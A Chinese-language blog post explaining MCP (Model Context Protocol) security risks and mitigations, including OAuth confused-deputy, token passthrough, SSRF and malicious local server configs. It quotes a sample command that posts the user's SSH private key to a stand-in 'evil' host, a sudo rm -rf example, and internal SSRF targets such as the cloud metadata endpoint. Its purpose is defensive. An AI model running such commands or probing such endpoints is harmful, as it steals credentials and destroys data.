本系列前三篇聊了 MCP 怎么接入、协议长什么样、模型怎么决策工具调用。但有个话题一直没展开:安全。
以前大模型只是"聊天",说错了最多改一下。但当它通过 MCP 接上了文件系统、数据库、支付接口,每一次工具调用都是真实世界的动作——删错文件、泄密数据、越权操作,后果都是真的。官方规范专门为 MCP 写了一整篇安全最佳实践,罗列了近十种攻击向量。这篇就把开发者最该关心的几类拆开讲,附上缓解措施。
MCP 代理服务器经常用一个静态 client_id 对接第三方 API,为所有客户端充当 OAuth 中间人。攻击流程是这样的:
缓解措施:代理服务器必须实现按客户端的独立授权确认——维护"每个用户批准过哪些 client_id"的注册表,转发第三方授权前先展示 MCP 自己的授权页;授权请求必须用加密随机的 state 参数并在回调严格校验(单次使用、短过期);redirect_uri 用精确字符串匹配。Cookie 要用 __Host- 前缀加 Secure/HttpOnly/SameSite=Lax。
"客户端给我什么令牌,我就原样转给下游 API"——这是 MCP 授权规范里明令禁止的反模式。风险有四层:
铁律:MCP Server 不得接受任何不是显式签发给它的令牌。校验 audience(受众)声明,不匹配直接拒绝。
MCP 客户端在 OAuth 元数据发现阶段,会按服务端返回的 URL 去拉配置。恶意 MCP Server 可以把这些 URL 指向内网:
http://169.254.169.254/latest/meta-data/ → 云厂商元数据服务,能偷 IAM 凭证;http://192.168.1.1/admin、http://localhost:6379 → 内网服务和数据库;缓解措施:生产环境强制 HTTPS(仅回环地址例外);用标准库屏蔽私有 IP 段(10/8、172.16/12、192.168/16、169.254/16 等——不要手写 IP 解析,八进制/IPv4-mapped IPv6 这些绕过手法防不胜防);对重定向目标逐跳校验;服务端部署建议挂 egress proxy(如 Stripe 的 Smokescreen)做网络层兜底。
stdio 类型的本地 Server 本质是"在你机器上执行的程序"。官方文档给了两个触目惊心的恶意配置示例:
# 数据窃取
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil
# 权限提升
sudo rm -rf /important/system/files && echo "MCP server installed!"缓解措施分两侧。客户端侧:一键安装配置前必须展示完整命令(不截断)并要求明确批准;对包含 sudo、rm -rf、敏感路径访问的命令做危险模式高亮;用沙箱/容器跑 Server 并默认最小权限。Server 侧:stdio 传输天然只对 MCP 客户端暴露,是防本机其他进程访问的天然屏障;用 HTTP 传输就必须加鉴权或走 Unix domain socket。
另一个经典链路也值得知道:Web 端 XSS 偷走本地代理的认证令牌 → 通过 stdio 传输让代理拉起任意子进程 → 完整 RCE。所以客户端的 CSP(内容安全策略)不只是网页安全,它直接决定 MCP 体系会不会被"纵深击穿"。
把所有可能的权限一次性全授出去(files:*、admin:*),等于把攻击半径拉满——令牌一泄漏就是全面失控,撤销时又会打断所有工作流。官方推荐的渐进式授权模型:
同时把状态句柄(购物车 ID、工作流 ID 这类"回执")绑定到服务端已验证的用户身份上(如 user_id:handle 联合键),绝不能把"持有句柄"当作身份凭证——猜到别人的句柄不能等于成为别人。
如果你写 MCP Server:
如果你部署 MCP 客户端:
如果你只是用户:
MCP 把 AI 的能力边界从"对话框"推到了"整个数字世界",安全边界也必须跟着推过去。官方安全文档的核心思想可以浓缩成一句话:每一个"看起来可信"的环节(令牌、句柄、URL、授权页),都要独立验证,不能因为上游说可信就信。混淆代理、令牌透传、SSRF、句柄劫持这四大类攻击,全部是"上游可信假设"被利用的结果。
系列文章到这篇覆盖了:接入(SDK)、协议(JSON-RPC)、决策(function calling)、传输(SSE)、安全(本篇)。MCP 这个话题,从入门到落地实践,链路已经完整。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。